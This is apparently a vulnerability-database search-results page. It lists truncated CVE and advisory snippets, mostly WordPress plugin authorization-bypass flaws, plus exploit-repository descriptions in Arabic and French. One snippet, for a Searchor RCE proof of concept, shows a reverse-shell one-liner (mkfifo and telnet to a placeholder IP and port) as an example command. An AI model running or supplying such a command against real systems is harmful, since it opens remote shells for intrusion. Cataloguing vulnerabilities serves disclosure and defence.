4044 matches found
CVE-2020-8163
CVE-2020-8163 CVE-2020-8163 - تنفيذ تعليمات برمجية عن بُعد عبر أسماء المتغيرات المحلية المقدمة من المستخدم في Rails تنفيذ تعليمات برمجية عن بُعد عبر أسماء المتغيرات المحلية المقدمة من المستخدم في Rails 5.0.1 كانت هناك ثغرة أمنية في إصدارات Rails السابقة للإصدار 5.0.1 قد تسمح لمهاجم يتحكم في وسيط...
CVE-2023-43364-Searchor-RCE-Exploit
CVE-2023-43364 – استغلال RCE في Searchor PoC تنفيذ التعليمات البرمجية عن بُعد RCE عبر استخدام غير آمن لـ eval في Searchor --test تنفيذ أمر مخصص شغّل أي أمر على الخادم المستهدف: python3 CVE-2023-43364.py -a "whoami" أمثلة: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT...
CVE-2026-97305
Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...
CVE-2026-97070
Authorization Bypass Through User-Controlled Key vulnerability in CozyThemes Cozy Blocks cozy-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cozy Blocks: from n/a through 2.2.23...
CVE-2026-97070 WordPress Cozy Blocks plugin <= 2.2.23 - Insecure Direct Object References (IDOR) vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in CozyThemes Cozy Blocks cozy-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cozy Blocks: from n/a through 2.2.23...
EUVD-2026-92586
Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...
CVE-2026-97070 WordPress Cozy Blocks plugin <= 2.2.23 - Insecure Direct Object References (IDOR) vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in CozyThemes Cozy Blocks cozy-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cozy Blocks: from n/a through 2.2.23...
CVE-2026-97305 WordPress AI Chatbot for WordPress – Hyve Lite plugin <= 2.0.2 - Insecure Direct Object References (IDOR) vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...
pbck-exploit
Framework d'exploitation et de validation massif pour Joomla Page Builder CK Téléchargement de fichier arbitraire non authentifié → Exécution de code à distance 📑 Table des matières Aperçu de la vulnérabilité Versions concernées Fonctionnalités Installation Utilisation Preuve de concept Analyse...
CVE-2026-7465-Lab
CVE-2026-7465 - Laboratoire local pour les blocs Spectra Gutenberg Laboratoire Docker local pour analyser et reproduire la CVE-2026-7465 dans le plugin WordPress Spectra Gutenberg Blocks ultimate-addons-for-gutenberg. Ce laboratoire compare : vuln : Spectra 2.19.25 patched : Spectra 2.19.26 La...
PT-2026-104754
Authorization Bypass Through User-Controlled Key vulnerability in Ahmad JS Help Desk js-support-ticket allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JS Help Desk: from n/a through 4.0.0...
PT-2026-106097
Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...
CVE-2026-18315-PoC
CVE-2026-18315-PoC Preuve de concept pour CVE-2026-18315 plugin WordPress TrueBooker = 1.2.6 : contournement d'autorisation sans authentification via une clé contrôlée par l'utilisateur conduisant à la prise de contrôle du compte...
Exploit for CVE-2026-96451
CVE-2026-96451 WordPress Ultimate Member plugin = 2.13.1 -...
CVE-2026-96451 WordPress Ultimate Member plugin <= 2.13.1 - Privilege Escalation vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in Ultimate Member Ultimate Member ultimate-member allows Privilege Escalation.This issue affects Ultimate Member: from n/a through 2.13.1...
PT-2026-104586
Name of the Vulnerable Software and Affected Versions Ultimate Member versions prior to 2.13.2 Description An authorization bypass exists due to a user-controlled key, which allows for privilege escalation. Recommendations Update to version 2.13.2 or later...
CVE-2026-94405 WordPress Download Manager plugin <= 3.3.71 - Sensitive Data Exposure vulnerability
Authorization Bypass Through User-Controlled Key vulnerability in Shahjada Download Manager allows Retrieve Embedded Sensitive Data. This issue affects Download Manager: from n/a through 3.3.71...
CVE-2026-102382
Authorization Bypass Through User-Controlled Key vulnerability in Ahmad Majestic Support majestic-support allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Majestic Support: from n/a through 1.2.0...
